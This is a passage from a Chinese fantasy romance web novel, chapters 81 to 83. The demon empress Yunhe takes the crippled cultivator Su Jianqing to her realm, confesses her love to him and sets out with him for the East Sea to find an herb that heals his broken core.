蕴禾冷冷一笑,“在妖域,杀人夺宝,争夺地盘是很常见的事。不知道从哪儿来的一群妖,非说我爹娘手里有什么宝贝,要他们交出来。” 时至今日,蕴禾依然记得那日。 因她打断了隔壁山头小狼的腿,她娘把她关在屋里反省,正当她准备偷跑出去的时候,家里忽然闯进一群妖,不由分说和她爹娘动手。 为首的妖生得凶神恶煞,一身气势堪比妖王,将她爹娘打得奄奄一息。 她冲了出去,可尚且年幼修为低下的她,根本不是那妖的对手。 再后来…… 蕴禾垂下眼睫。 再后来,那妖将周围所有的妖修全部捉了回来,逼问爹娘青龙骨在何处。 可她万万没想到,往日里因她和小妖们打架,向来对她不假辞色的叔叔婶婶们,宁愿赴死也不愿受人威胁。 一股又一股鲜血淌在地面,一具又一具尸体从她眼前砸下。 那片美丽又熟悉的山林,瞬间化为炼狱。 哭喊声,咒骂声,一起钻进蕴禾耳中。 爹娘拼死将她送出,他们留给蕴禾的最后一眼,是浑身是血,奔赴死亡的背影。 蕴禾垂着头,紧紧握住挂在脖颈上的青珠。 她扬唇一笑,“不过那妖最后也没有好下场,我修炼多年,为的就是变强,砍下他的脑袋。” “他最后也的确死在了我的手里。” 头顶星空灿烂,身下灯火葳蕤,坐在屋檐上的姑娘嘴角含着冷冽笑意,眸光被灯火映照得明媚温暖,眸底却酝酿着冷意。 苏见清忽地伸手,将掌心覆盖在蕴禾手背,“阿蕴姑娘……” 蕴禾偏头看他,面容认真,“比起拥有过后又失去,从未拥有,是否也是种幸运?” 苏见清微怔。 “他们现在还好好地活着,能容你远远看一眼,和失去相比,已是件幸事。” “阿蕴姑娘。” 苏见清眼眶发酸,心里有个地方塌陷,他缓缓凑过去,低声道:“你不必如此。” “你已经足够痛苦,我不想你揭开伤疤,只为了安慰我。” “我、我……” 那两个字苏见清无论如何也说不下去,我了半天,眸底漫上水雾,紧紧抿住唇。 蕴禾安静注视他,陡然环住苏见清的脖子将他拉近,呼吸轻轻拍打在他面上。 “既然都没了家人,往后你就留在妖域陪我,如何?” 苏见清一时没缓过神来,“什么?” 蕴禾不想从他嘴里听到拒绝的话,咬咬牙,对准她觊觎已久的喉结一口咬上去。 “嘶……” 尖齿触碰到肌肤的刹那,苏见清浑身上下仿佛有电流淌过,他瞳孔因震惊扩张,呆呆地愣在原地,任由妖皇陛下叼着他的皮肉研磨。 “砰——” 大朵大朵烟花在空中绽放,金色红色紫色的连成一片璀璨星海。 巨大的烟火绽放声掩盖了苏见清如擂鼓震响的心跳。 过了许久,他恍惚中感受到蕴禾将他放开,清晰而不容拒绝的嗓音在耳侧落下。 “不准拒绝。” “你已经是本皇的人了,从今往后都只能留在妖域,留在我身边。” …… 为了不让苏见清胡思乱想,蕴禾第二日就准备带他回妖域。 坐上青鸾背上,他忽然想起一事,“阿蕴姑娘……” 蕴禾沉着脸偏过头去,“怎么,你不想走了?” “我不是这个意思。” 苏见清解释,“我是想说,那只玉妖怎么办?” 玉妖? 苏见清若是不提,蕴禾都忘了这件事了。 一想到那只玉妖顶着她的脸胡作非为,蕴禾心里直犯恶心。 “十三。” 一只青鸾飞到蕴禾面前,化为人形恭敬道:“陛下有何吩咐。” “有只偷我脸的玉妖,你去解决了。” 青鸾卫:“是。” 他化为流光,疾速从眼前消失。 蕴禾朗声,“启程,回妖域。” “是。” 十几只青鸾卫齐声应道,身形快如流星,往妖域飞去。 苏见清元婴破碎,灵力尽失,怕他掉下去,蕴禾紧紧拽住他的手腕。 清淼与他们同乘一只青鸾,暗忖自己不长眼睛,体贴道:“陛下,不如属下去隔壁?” 蕴禾纳闷,“你坐得好端端的去隔壁作甚?安生待着吧。” 清淼目光往二人相交的手看去。 苏见清注意到她的视线,手往后一缩,却在下一瞬被蕴禾牢牢攥住。 她拧着眉头斥道:“别动,你现在可没有灵力,是想掉下去摔死不成?” 苏见清指尖蜷缩,低声道:“我知道了。” 蕴禾这才满意,放低声音对他道:“这是清淼,青鸾一族的族长,我的心腹大将,算是……” 她想了想,“算是你们人族话本里的丞相。” 清淼方才听见二人谈话才知自己误会了,对苏见清略一颔首,“清淼。” 苏见清回礼,“苏见清,见过清淼大人。” 虽尚未举办封后大典,但这好歹也是陛下亲自上伏渊抢回来的未来妖后,他这般礼遇,让清淼面色舒缓,心里对苏见清印象还不错。 修真界地域辽阔,哪怕是日行千里的青鸾,也飞了整整五六日才到达妖域。 苏见清盘腿坐在青鸾背上,看见一座妖族城池。 正是白日,十五只青鸾从空中掠过,地面妖族百姓骤然爆发出热烈的欢呼声。 “青鸾卫,是陛下,陛下回来了!” “恭迎陛下回都——” “陛下,陛下!” 苏见清听在耳中,默默去看坐在他右前方的姑娘。 面色平静,不动声色,仿佛对这一幕早已习以为常。 直到此刻,他才对她的身份有了真实感受。 眼前之景快速变化,三座高山直冲云霄,云雾缭绕间,属于自然的雄伟壮丽扑面而来。 穿过高山,一座华丽宫殿映入眼帘。 青鸾缓缓下落,落在殿前广场上。 蕴禾拉着苏见清走下来,摆手道:“辛苦,你们先回去休息吧。” “是。” 青鸾卫们退下,蕴禾对清淼道:“把苏见清的房间安排在我隔壁,再给他安排个厨房的活计。” “是,属下这就去……” 话音一顿,清淼骤然抬头,平静的面容上头一次有如此剧烈的波动,重复问道:“厨、厨房?” 蕴禾:“对啊,还不快去。” 清淼又去看苏见清。 这人对“厨房”两个字没什么反应,仿佛已在预料中。 她缓缓低下头,“是。” 旋即带着满腔疑问走了。 不是妖后吗?怎么忽然变厨子了?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 阿蕴姑娘早前就说过会给他安排个厨房的活计,何况相识以来这事是他做惯的,苏见清自然不会有丝毫异议。 他跟着蕴禾往殿内走,听她说:“房间还在收拾,你先在这儿待着。” 话音一落,只见蕴禾径直往床上走。 苏见清一呆,“阿蕴姑娘,这是哪儿?” 蕴禾:“你这问题好奇怪,除了我的寝殿还能是哪儿?” 话落,她也不管苏见清在做什么,直接往床上一趟,困倦道:“我先睡会儿,你随意。” “想去哪儿去哪儿……” 尾音落下,人已经睡着了。 苏见清:“……” 他不解,阿蕴姑娘为何总是格外困乏?难道是和她的功法有关? 及时打住猜测,苏见清在外间的榻上落座,手不由放在芥子囊上。 思绪一转,一柄剑落在掌心。 他轻轻摩挲剑柄与剑鞘,眼里蕴着失落。 元婴破碎,修为尽失,如今的他几乎算得上是个废人。 这把长虹剑,怕是再也不能出鞘了。 忆起阵前玄陵的目光,苏见清怔怔出神。 师尊自幼教导,他是拯救玄清域的命主,可那日他的眼里却含着杀意。 他的的确确对他动了杀心。 如此矛盾,这是为什么? 苏见清想得头痛,拄着脑袋靠在榻上,似是被蕴禾影响,闭眼慢慢睡去。 …… 伏渊。 褚潇潇捧着脸坐在石阶上,眼睛呆呆地出着神。 伍宏志坐在一旁陪她,担忧问:“潇潇,你怎么了,这几日总是魂不守舍的。” “啊?有吗?” “当然有。” 伍宏志一一细数,“前几日练剑的时候走神,我险些伤了你。昨日去寻你,却见你跟现在一样,一动不动地看着天空。” 他拧眉,忧心道:“从苏见清被妖皇带走开始你就这样,潇潇,你到底怎么了?有什么事不能和我说?” 褚潇潇避开他的视线,“没、没什么。我只是……” 她轻声道:“有些担忧师兄罢了。” 伍宏志怪道:“你不是一直不喜欢他吗?担忧他作甚?” 褚潇潇摇头,声音很低,“……我也不知道。” 这么多年,讨厌师兄已经成了习惯,可她那日见他在阵中受刑,恍然间忆起当初她被师尊带上伏渊时的情形。 她被师尊牵在手里踏入沉霄峰大殿。 人群中,年幼时的褚潇潇第一眼看见站在殿内的小少年。 他生得特别好看,眉眼夹带风霜,有股孑立雪山的清冷之气,身上裹着伏渊弟子穿的白袍,漂亮得不似凡间人。 看见他的第一眼,褚潇潇希望他能像师尊一样喜欢她,宠爱她。 可当师尊牵着她走到那小少年面前,说:“见清,她是褚潇潇,往后就是你的师妹了。” 褚潇潇扬起甜美乖巧的笑容,“师兄。” 小少年冷淡颔首,回道:“师妹。” 褚潇潇想,或许他待人一直都是这么冷漠,可抬睫的刹那,她从他眼中看见厌烦。 原来,他是讨厌她的。 原来,他也和自己一样,担心师尊的疼爱有一日会收回。 原来,他们是竞争者。 自那以后,褚潇潇事事与苏见清作对,她陷害他,暗中撺掇师兄弟们排挤他,抢夺师尊身边唯一的位置。 这么多年以来,她一直都是胜利者。 或许是自己的地位已经稳固,看着形单影只的苏见清,褚潇潇良心发现,又开始往他身边凑,企图弥补当年的过错。 褚潇潇默道,自己可真是虚伪。 师兄大放异彩时,她心里并不舒服,可当他跌落云端,她反而同情担忧他。 这是为*什么,她自己也弄不明白。 想到至今下落不明的苏见清,褚潇潇心情低落,“好了你别说了,我还有事先回去了。” “潇潇,潇潇!” 将伍宏志的叫喊声扔在身后,褚潇潇御剑飞回沉霄峰。 师兄身受重伤又被妖皇掠走,如今还不知是何情形。他一个人修怎么能待在妖域呢? 她得去求师尊前去妖域把师兄救回来。 褚潇潇落地收回灵剑,大步迈入殿内。 “师尊,师尊?” “师尊,你在哪儿呢?” 以往呼唤一声就会出现的人影如今遍寻不到。 褚潇潇拧眉,独自一人在偌大的殿宇内寻找。 “师尊,师尊你在哪儿啊?” 褚潇潇穿过前殿,往后殿寻去。 一路来到书房,她推门而入,在屋内寻找一圈,“师尊,师……” 褚潇潇的视线在某处顿住。 屋内传来灵气波动,她缓步上前,轻轻伸出指尖。 空气中有灵气漩涡荡开,褚潇潇对玄陵的灵气格外熟悉,清楚地知道这是师尊设下的结界。 好端端的,师尊为何要在书房设结界? 师尊在里面吗? 思忖片刻,她尚未做出决定,眼前结界忽地散开。 一幅画卷在褚潇潇面前展开。 画上的是个生得极美的女子,两道长眉细如柳叶,形状优美的凤眼蕴着笑,琼鼻高挺,朱唇不点自红,一袭蓝色长裙如盛开的牡丹菊,她站在水边,衣袂翩翩,美如洛神。 右下角落下一行字,苏氏澜溪,扶风地留。 苏澜溪,她是谁?师尊为何留着她的画像? 褚潇潇盯着这女子的脸看,越看越觉得眼熟。 须臾后,她面上表情陡然一僵,不可置信地抬起眼。 这画上女子的脸,分明与她有四五分相似! 这念头在脑海中闪过,褚潇潇不由跌退两步。 怎么会,怎么会? 难道这些年,师尊对她的宠爱,不过是因为她生了这张脸? 师尊……把她当成了替身? 怎么可能呢? 师尊对她百依百顺,伏渊上下何人不知褚潇潇之名,哪怕是长老见了她也不敢怠慢。 更何况掌门师叔也对她极为疼爱。 她屋里的灵器法衣不是假的,这些年收到的疼宠也不是假的,她怎么可能会是个替身! “潇潇,你在做什么?” 慌乱自疑之际,身后忽然响起玄陵的声音。 褚潇潇应该拿起那幅画,追着师尊问她是谁,去讨个说法,可此时此刻,她却听出了那道熟悉声音里夹杂的冷意。 仿佛一瞬间,将她拉入冰天雪地。 褚潇潇多年来引以为傲的东西如镜花水月破碎。 繁杂思绪在脑中飞转,她下意识选择了对她最为有利的一个。 抬头时,结界已再度阖上,那张画卷在褚潇潇眼前消失。 她转过身,小跑到玄陵身边,指着方才的结界满声疑惑,“师尊,我怎么感觉这儿有个结界?” 玄陵偏头看她一眼,“有吗?” 褚潇潇后背冒出冷汗,面上镇定道:“当然有啊,就刚刚有灵气波动一闪而过,我正在查看呢,师尊你就来了。” 玄陵平静道:“你感觉错了,本尊的书房怎会有结界?” 褚潇潇迟疑,“当真?” “自然。你怎会跑这儿来了?” 提起此事,褚潇潇面色忐忑,“师尊,我、我是来找你的。” 玄陵:“如此心虚,做了什么亏心事?” 褚潇潇抿唇,“师兄他……师尊,你不能去妖域救救他吗?” 玄陵眉头一压。 褚潇潇恳求,“真的不能吗?” 玄陵移开视线,“终有一日,他会回来的。” “真的?” “自然。好了,快去修炼吧。” 褚潇潇笑着点头,“那师尊,我先走了。” 她如往常一般体态优美地走出玄陵视线。 离开沉霄峰,褚潇潇暗暗松了口气。 想起那女子一身蓝衣,她闭上眼,紧紧攥住衣袖。 白皙指尖在水蓝色衣袖衬托下,越发显得莹白如玉。 褚潇潇走后,玄陵步入书房,挥开结界,安静凝视画中含笑的女子。 他伸手,轻轻抚摸女子脸庞,低声道:“溪儿,哥哥许久都没去看你了。” …… 东隅城。 苏见清沉睡间,忽然感觉鼻尖发痒。 他皱着鼻子醒来。 眼前是一张放大的俏脸,蕴禾指尖捏着一绺墨发,轻轻在他脸上扫过。 两人靠得极近,他能清晰地在蕴禾眼中看见自己的影子。 苏见清呼吸一滞。 见他醒了,蕴禾丢开头发直起身子,“你怎么在这儿睡着了。房间应该已经收拾妥当了,你去隔壁歇着吧。” 苏见清摇头,“我不累。” 蕴禾把人上下打量一圈。 苏见清的外伤已经好得七七八八了,这会儿也不需要担心他的安危,她点点头,“行,你想在哪儿就在哪儿。” 苏见清抿唇,嘴角扬起小小弧度。 “阿蕴姑娘,我有个问题想问你。” 蕴禾随意道:“你说。” “你为什么要化身云团留在我身边?” 蕴禾拧起眉。 啧,这个问题倒真把她难住了。 说到此事,那就不得不提同生咒,说到同生咒,那就离不开她的多次重生。 可这件事,蕴禾暂时还不想让苏见清知道。 再说了,他们的同生咒还没解呢。 想到这儿,蕴禾自然而然记起从荒山拿回来的那枚玉简。 说来奇怪,那玉简无论如何她都打不开。 视线落在苏见清身上,她狐疑,难不成需要同生咒中的主契者才能打开? 这个猜想一落下,彻底在蕴禾脑海里生了根。 “阿蕴姑娘?” 苏见清伸手在蕴禾面前晃两下。 蕴禾回神,“我给你看个东西,你瞧瞧能不能……” “陛下。” 清淼的声音骤然从殿外传进来。 蕴禾不得不暂且按下此事,应道:“何事?” “有客来访。” 顿了顿,清淼道:“来人说,她叫曲江篱。” 第82章 清淼环着双臂立在殿外,身姿纤细又挺拔,视线奇特追随在厨房内忙活的苏见清。 原来陛下并非戏言,这位苏仙君还真能当厨子? 苏见清拎着食盒走出来,清淼将手伸上去。 “不必劳烦清淼大人。” 苏见清面上带着淡笑,“这点东西我还拎得动。” 清淼表情认真,“并非重量的问题,苏仙君身份贵重,这种事自然是该妖侍来做。” “来人。” 她抬手招来一名妖侍,命她拎起食盒。 苏见清一脸迷茫,下意识抬步跟在清淼身后。 什么身份贵重? 他不是只是阿蕴姑娘的厨子吗? 茫然间,不知不觉走到了大殿。 清淼上前叩两下门,殿门自动打开。 苏见清看见一名头发花白,精神矍铄的老人弯腰对上首的蕴禾行大礼,嘴唇张阖,却听不见声。 步入殿内,蕴禾懒散威严的嗓音落下,“清淼,送曲族长下去歇着。” 清淼恭声应道:“曲族长,这边请。” 曲江篱欢快的嗓音传来,“爷爷,你先去吧,我跟阿弃还要和阿蕴姐姐叙旧呢。” 曲族长低声斥道:“江篱,不可对陛下无礼。” “无碍。” 蕴禾摆手,“我与江篱是旧识,私下里不必遵循那些规矩。” 曲江篱回头,一脸得意地看向自己的爷爷。 曲族长无奈,恭敬道:“多谢陛下宽宥。” 他随清淼退下后,曲江篱欢呼一声,“阿蕴姐姐,苏公子,我们又见面啦!” 蕴禾淡淡嗯一声,目光落在妖侍放在桌面的糕点上,迫不及待伸手拿起一块。 放进嘴里,她眉头微动。 没想到苏见清用妖域的食材做出的糕点,味道丝毫不输玄清域的。 她向苏见清投去一眼,招呼他道:“过来坐。” 苏见清缓步过去,在蕴禾身旁落座。 曲江篱拉着巫弃也坐过来,好奇道:“是苏公子亲手做的吗?” 蕴禾点头,“尝尝?” 曲江篱捻起一块放在嘴边咬下,眼睛立即亮起,“好吃,和以前一样好吃!” 苏见清笑了笑,与对面的巫弃打招呼,“巫道友。” 巫弃视线落在他身上,忽地一怔,“你……” 苏见清摇头,神色平和,“无碍。” 巫弃拧了拧眉,却也没说什么。 晚间蕴禾设宴招待水麒麟一族,苏见清被清淼引至下首,瞧见自己的位置时愣了下,“清淼大人,我坐这儿是不是不太合适?” 清淼:“有吗?你坐这儿刚好。” 话音刚落,曲族长带着族人进殿,清淼急忙去招待。 苏见清看看自己的位置,又看看离他最近的蕴禾,默了须臾,终究还是坐下了。 他在想,清淼大人是不是误会了什么? 思索着这个问题,一晚上苏见清都魂不守舍的。 宴席散后,他跟在蕴禾身后回去,忽然听见她道: “你看。” 苏见清抬头,瞧见一轮圆月,亮如银盘,外围绕一圈紫光,月光照在掌心,透出朦胧光影。 蕴禾仰头,欣赏须臾后,振振有词道:“我觉得妖域的月亮比玄清域的好看。” 苏见清偏头看她。 姑娘露出白皙侧脸,眸中映着神秘妖异的月亮,“我们妖修没你们人修那么多规矩,在这儿,你可以想做什么做什么,自由自在,无拘无束。” 她忽而转过头来,认真对苏见清道:“你可以做你自己。” “砰砰——” 心跳一下重过一下,快得仿佛要从胸腔里蹦出来。 恍然间,苏见清听见观沧海上的风声,呼啸着从他心口穿过。他探手,将之稳稳握在掌中。 “阿蕴姑娘……” “陛下。” 一名妖侍不知从何处蹦了出来,对蕴禾行了礼,恭敬道:“这是明早的菜谱,请您过目。” 蕴禾看了眼,启唇道:“苏……” 顿了顿,想到苏见清伤势刚愈,又把话咽了回去。 给她一个人做吃的就好了,管别人作甚。 “就这样,明日一早记得送到曲族长殿内,莫要耽搁。” 妖侍应:“是。” 她走后,蕴禾招呼苏见清,“不早了,先回去休息。明日还有要事呢。” 苏见清把话咽回去,“好。” …… 皇宫内不知种了什么花,正值花期,扑簌簌地往下掉,远远看去宛如白雪飘落。 苏见清拎着食盒从长廊走过,对迎面走来的清淼微笑颔首,“清淼大人。” 清淼面色微缓,“苏仙君。” 她多问了一句,“这是去给陛下送吃食?” 苏见清点头,将食盒递过去,“我多做了一份,清淼大人拿去和青鸾卫们分了吧。” 清淼也不与他客气,“多谢苏仙君。” 苏见清含笑与她擦身而过。 目送他走去,清淼从食盒内取出一块糕点。 通体白色,看不出是用什么做的,但凑近的刹那有股熟悉的香味袭来。 清淼看向廊外飘落的花,暗暗称奇,这东西也能用来做糕点? 她咬了一口,香甜味在舌尖迸射,清淼翠色的眼睛微微发亮。 暗叹一句,苏见清作为玄陵座下大弟子,手艺怎么能这么好? 往回看一眼,清淼默默地想,手艺上佳,性格安静不闹事,实是陛下的贤内助,妖后的不二人选。 陛下的眼光还真不错。 又咬下一口糕点,清淼满意离去。 踩着落地花瓣,苏见清迈入殿内。 蕴禾瘫在床榻上昏昏欲睡,见他进来,噌一下起身,喜道:“你来了,这回做了什么?” 苏见清扬起手里食盒,“用宫中那株花做的糕点。” 蕴禾怪道:“这也能做糕点?” 她迫不及待尝了口,满意点头,“不错。” 苏见清在蕴禾对面落座,给她倒杯水,看见她眉间疲惫时抿抿唇,“事情都弄完了吗?” “差不多了。” 蕴禾吃着糕点,含糊道:“今日水麒麟一族就能住进去。” 这些时日,她一直忙着水麒麟迁居东隅城一事。水麒麟能力特殊,为了他们的安全着想,蕴禾在东隅城外,靠近她皇宫附近的依山傍水之处开辟了一处秘境。 没有水麒麟血脉的外族人无法进出,哪怕是族人带进去的客人,也得经过族长同意才能入内。 蕴禾也不例外。 她咽下糕点,突发奇想道:“这花既然能做糕点,能否做其他的?” 苏见清思索片刻,“应该能,我回头试试能不能用它裹上面糊放进油锅里炸,用来做鱼应该也行。” 蕴禾被他说得不断分泌涎液,连忙咬下一口糕点。 “陛下。” 妖侍出现在门外,“曲少主和巫公子来了。” “宣。” 须臾,曲江篱和巫弃出现在门前。 二人像模像样地对蕴禾行礼,“见过陛下。” 不等蕴禾开口,曲江篱飞快站起身来,大步走到蕴禾身边,“好香啊,这又是苏公子新想出来的糕点吗?” “是啊。” 蕴禾把糕点往她的方向推,大方道:“给你尝一块。” “那我可就不客气了。” 曲江篱双眼弯弯。 吃了一口,她眼睛亮起,对苏见清竖起大拇指,“不愧是苏公子啊,真好吃。” 巫弃也得了一块,吃了半块,他不由去看苏见清,思忖着向他拜师的可行性。 吃完糕点,曲江篱意犹未尽地喝了盏茶,笑眯眯道:“阿蕴姐姐,我们搬完新家啦,我和阿弃想去东隅城内游玩,你和苏公子要一起吗?” “行啊。” 曲江篱当即挽住蕴禾的手臂,“好耶,那我们现在就去!” 和清淼打了声招呼,蕴禾四人飞往东隅城。 东隅城是普通妖修的居住之地,功能作用与人族城池大体相似,但细节却截然不同。 妖修喜好自然,城内有鸟妖居住在巨树之上,有水妖在护城河下定居,有的露出毛茸茸的尾巴,也有的背后张开翅膀。 街道奇形怪状的,开着各式各样苏见清并未见过的铺子,他一时新奇,不断往四处张望。 曲江篱问:“阿蕴姐姐,城里哪儿最好玩啊?” 蕴禾怎么知道? 她从未来过东隅城内闲逛。 清了清嗓子,蕴禾道:“这种事要你自己去体会,别人说了还有什么新奇感?” “也是。” 曲江篱点头,指着某处兴奋对巫弃道:“阿弃,我们去那儿!” 两人飞速钻进人群,蕴禾问苏见清,“你要去看看吗?” 苏见清微微摇头,目光移向前方巨树,“我想去看看。” 蕴禾便拉着他上前。 巨树下聚着一群鸟妖,叽叽喳喳在聊天。 从山林妖王宠爱的第十八房小妾其实是个男妖,到石伏妖王是个自恋狂,每晚必须揽镜自照一百下才能入睡,天南海北地说得津津有味。 忽然,有个鸟妖道:“你们听说了吗?陛下最近从玄清域带回一个人修,与他同吃同住,颇为宠爱,听说有意册封他为妖后。” “人修当妖后?不可能吧,咱们妖域至今还未开过这个先例。” “怎么不可能?听说清淼大人对他赞誉有加,直言其贤惠呢。” “这……那人修生得如何,修为如何,配得上咱们陛下吗?” “生得一副冠绝之姿,就是这修为吧……” “修为怎么了?” “听说他修为被废,如今已成了个废人。” “废人?!废人如何能配得上咱们英勇的妖皇陛下?” “是啊,陛下怎么能封一个废人为后?” 听着句句刺耳的话音,苏见清垂下眼睫,手掌蜷缩。 是啊,一个废人,怎么配得上她? 蕴禾把这些话听得真真切切,一时恼怒,险些现身将这些妖斥责一顿。 本皇看上了什么人要你们多嘴! 瞧着苏见清暗淡的眸光,她顾不上其他,一把将人抓住,盯着他的眼睛,“你在想什么?” 苏见清略略回神,勉强勾唇,“阿蕴姑娘不必听他们胡说,我知道你对我并无意,只是……” 蕴禾烦躁打断他的话,“如果我说,我对你有意呢?” 这些日子她忙着水麒麟一族之事,没怎么关注苏见清,五蕴牡丹自然对她不起作用,没想到这呆子竟然对失去修为一事反应这么大。 也是,毕竟他自小就是同一辈里的佼佼者,接受不了落差也是难免的。 苏见清呆住,“什、什么?” 蕴禾懒得跟他废话,勾住苏见清的脖子,倾身附上去寻他的唇。 两唇相贴的刹那,两个人纷纷一颤,苏见清不可置信地瞪大双眼。 那一瞬间,周边所有声响离他而去,全身唯独剩下唇上的触感。 阿、阿蕴姑娘……在……亲他? “嘶……” 唇上忽然被咬了一口,苏见清抬起水润双眼,眸底倒映着蕴禾紧拧的双眉。 听觉重返,他听见无数道起哄声。 视线一转,之间周围不知何时围上一群妖修,个个一脸看好戏地盯着他们二人,起哄道: “再来一个!” “亲一个,再亲一个!” 就连曲江篱和巫弃也站在人群中,神情兴奋不已。 “轰”的一下,苏见清的脸瞬间红透了,不知所措地看向蕴禾,“阿、阿蕴……” 蕴禾低低说了声什么,攥住他的手腕,下一瞬,二人已回到寝殿。 身体重重陷入床榻,苏见清尚未反应过来,蕴禾已压下来撕扯他的衣物。 苏见清慌了,满脸羞红拒绝,“阿、阿蕴姑娘,不行……” 蕴禾坐起身,压着眉冷道:“你不愿意?” 她表情不太好,恶声恶气道:“苏见清,本皇老实告诉你,从你被我带到妖域的那一刻起,你就是我的。” “你以为我闲着没事闯伏渊只是为了抢个厨子?这天底下的厨子多了去了,我难不成就非你不可了?” 苏见清霍然抬头,看清不可一世的妖皇陛下眼底不曾出口的情意。 巨大的欣喜将他包围,他眼眶发酸,竟有股想哭的冲动。 原来在不知不觉间,清风已自动入怀。 可想到自己的修为,苏见清低下头去,低声道:“我已经是个废人,我配不上你。” “不就是元婴碎了?本皇给你补上。” 苏见清怔怔抬头,“补、补上?” 妖皇陛下轻抬下颌,嚣张又随意道:“东海之滨有株神草,能修补元婴,本皇原想等查出叛徒后再带你去,但看在你如此焦急的份上,我们现在就出发。” 苏见清:“……焦、焦急什么?” 蕴禾理所当然道:“当然是成为本皇的妖后啊。” 第83章 事不宜迟,蕴禾当即把清淼召来,将妖域大大小小之事托付给她。 “本皇只是去取株草,应当用不了多长时日,奸细的事你多上心些,有了消息立马向本皇传讯。” 清淼应,“属下知道。” 蕴禾对她一向放心,点点头又道:“曲江篱那儿你记得替本皇说一声。” 清淼略有意外,看来陛下是真把那小麒麟当朋友了。 应声,“好,属下记住了。” 叮嘱完,蕴禾带着苏见清走出大殿。她唤出青羽,把人拉上去,两指一掐,疾速飞出东隅城。 相识以来,苏见清见过数次蕴禾乘坐青羽,但这还是他第一次坐上去。 说实话,比他的玉青蚕丝被舒服多了。 风吹起两侧碎发,白云快速从身旁掠过,苏见清看着身旁蕴禾的侧脸,再一次问出那个问题。 “阿蕴姑娘,你为什么要去伏渊?” “因为你啊。” 蕴禾随口回。 因为……他? 苏见清的心被这句话弄得七上八下的 阿蕴姑娘是因为他才去的伏渊? “为、为什么?” 蕴禾刚要从储物手链里取出玉简,蓦地记起他如今的身体状况。 算了,还是等他重聚元婴再说吧。 蕴禾:“现在还不能告诉你,等以后你就知道了。” 苏见清没追问,温顺道:“好。” 蕴禾忽然偏头看他一眼,冷不丁在苏见清唇上亲了一口,弯弯杏眸里皆是笑意,“你怎么这么乖啊。” 苏见清脸色瞬间爆红,捂着脸震惊又羞涩地盯着蕴禾,“阿、阿蕴姑娘……” 蕴禾态度随意,撩起被风吹起的长发,“怎么?” 她语重心长道:“这种事往后会很常见,你要学会习惯啊小剑修。” 苏见清眼神震动,怔怔地许久都没说一句话。 “好了不逗你了,天快黑了,你先睡吧。” 苏见清抬头。 金乌坠山,红光迎面照来,他们置身于一片红色云海中,除了风声,这世间仿佛只剩下他们二人。 苏见清抿唇,“我睡了,那你怎么办?” 蕴禾:“我还得飞,你先睡吧。” 早日到达东海之滨拿到神草,苏见清的修为也能早些恢复。 苏见清其实想说,剩她一个人孤孤单单的,连个陪她说话的人都没有。 可话还未出口,便听蕴禾又道:“你乖些。” 他咬咬唇,不知为何蕴禾要用这个字形容他,又不知他何处不乖,一时羞涩难当,躺在青羽上侧过身子,背对着蕴禾。 在东隅城的一切发生得太快,苏见清实则现在还未反应过来。 他探手摸唇,仿佛还能感受到蕴禾落在上面的温度。 心里不受控制地涌现一片暖流,缓缓浇灌枯涸的心河,一片片绿茵冒了出来,令苏见清止不住地欢喜。 阿蕴姑娘真的心悦他。 她说,她要迎他做她的妖后。 苏见清唇瓣轻抿,点点笑意从嘴角泄出。 他闭上眼。 …… 东海极为特殊,一望无际的海面上眇眇忽忽可见有数岛屿,这些岛屿时常能找出天材地宝,奇珍异兽,但却因常年弥漫的瘴气与数不清的恶妖令人妖魔三族望而却步。 此地非化神期不可探,哪怕是化神,也极少能全身而退,向来被三族视为禁地。 蕴禾和苏见清一路往东海而来,见她一路不眠不休地御器飞行,苏见清忍不住道:“前面好似有个镇子,咱们去东海前不如先去休整一番。” 蕴禾淡淡瞄他一眼,“你这是心疼我呢,还是信不过我?” 苏见清说不出“心疼”二字,面上发烫着嗫喏,“阿蕴姑娘修为盖世,怎会因东海退却?” 那就是心疼了。 蕴禾面上放晴,嗓音含笑,“你早说心疼我不就行了?我又不会笑话你。” 苏见清垂首,掩下眸里赧然。 现在已经开始笑话了。 二人在镇外落地,蕴禾带着苏见清往镇上走去,勉勉强强寻了间看上去最好的客栈。 看了身后一言不发的人一眼,蕴禾没逗他,“来两间上房,再备桌好菜。” 店小二喜气洋洋道:“好嘞,两位客官稍等,请先入座。” 转身之际,他低头小声乐,“今个儿是什么好日子,接连来了三位阔绰的客官,这个月的月钱怕是要涨。” 他高高兴兴地甩着帕子去后厨。 蕴禾看他一眼,带着苏见清落座。视线在大堂内巡睃一圈,最后落在隔壁桌的男子身上。 那人穿着一身黑袍,头戴兜帽,从蕴禾的角度看过去,他的背影极为单薄瘦弱,一副弱不禁风的模样。 在那人身上一扫,蕴禾拧了拧眉,旋即收回视线,不再过多关注。 苏见清给蕴禾倒了杯水,问:“阿蕴姑娘,一直没来得及问你,那株能修复元婴的神草究竟是什么?” 蕴禾饮了一口,“那草名唤九宫净蕊,无花叶,唯有九片花蕊,盛开时如虹彩,食之能令人修在体内再度生出一个元婴。” 苏见清听完拧眉。 那九宫净蕊有如此功效,可他却从未听说过,想来想要得到它,定极为危险。 可阿蕴姑娘千里迢迢带着他来采药,且她一副信心十足的模样,他实在说不出担忧的话惹她不快。 正想着要怎么开口,隔壁陡然响起一道声音。 “这位小妖修,东海一带最近不太平,若是不想惹祸上身,我劝你改日再来。” 男音嘲哳难听,仿佛喉咙里含了无数颗砂砾。又似声带曾被人割开,如今只是勉强续上才能发声。 蕴禾偏头,冷声问:“你怎么知道东海最近不太平?” 男人声音含笑,“我自然知道。” 笑声如石子刮过铁器,更难听了。 蕴禾眉头一竖,属于妖皇的威严顷刻间迸射出来,“不太平又如何?我还没把一个小小的东海放进眼里。” 黑袍男人转过身来,叹道:“还真是初生牛犊不怕虎啊,这股年轻的冲劲,当真令人怀念。” 那是张极为普通的脸,五官平平无奇,脸色苍白,唯有一双眼睛生得格外出色。 是双形状趋近于完美的桃花眼,瞳仁漆黑中带点浅淡棕色,似琉璃般光华流转,令人想起夜色中漂浮在水面的莲花灯,灯光熠熠,见之不忘。 蕴禾嗤道:“这幻形术可真假,你怎么不直接把眼睛也换了?” 黑袍男子微怔,伸手抚摸脸颊,失笑道:“你误会了,这并非幻形术,我一直生得这般模样。” 蕴禾翻白眼,“你骗谁呢。” 那双眼睛就这么露在外头,当她眼瞎不成? 黑袍男子眼中笑意更甚,“你这小妖修,怎么夸赞的话也说得如此隐晦。这表扬定要明明白白地说出来才行,否则别人怎么能看出来?” 蕴禾气极,“你说谁小妖修呢?本……姑奶奶我闯荡妖域的时候,你还不知道在哪儿呢!” 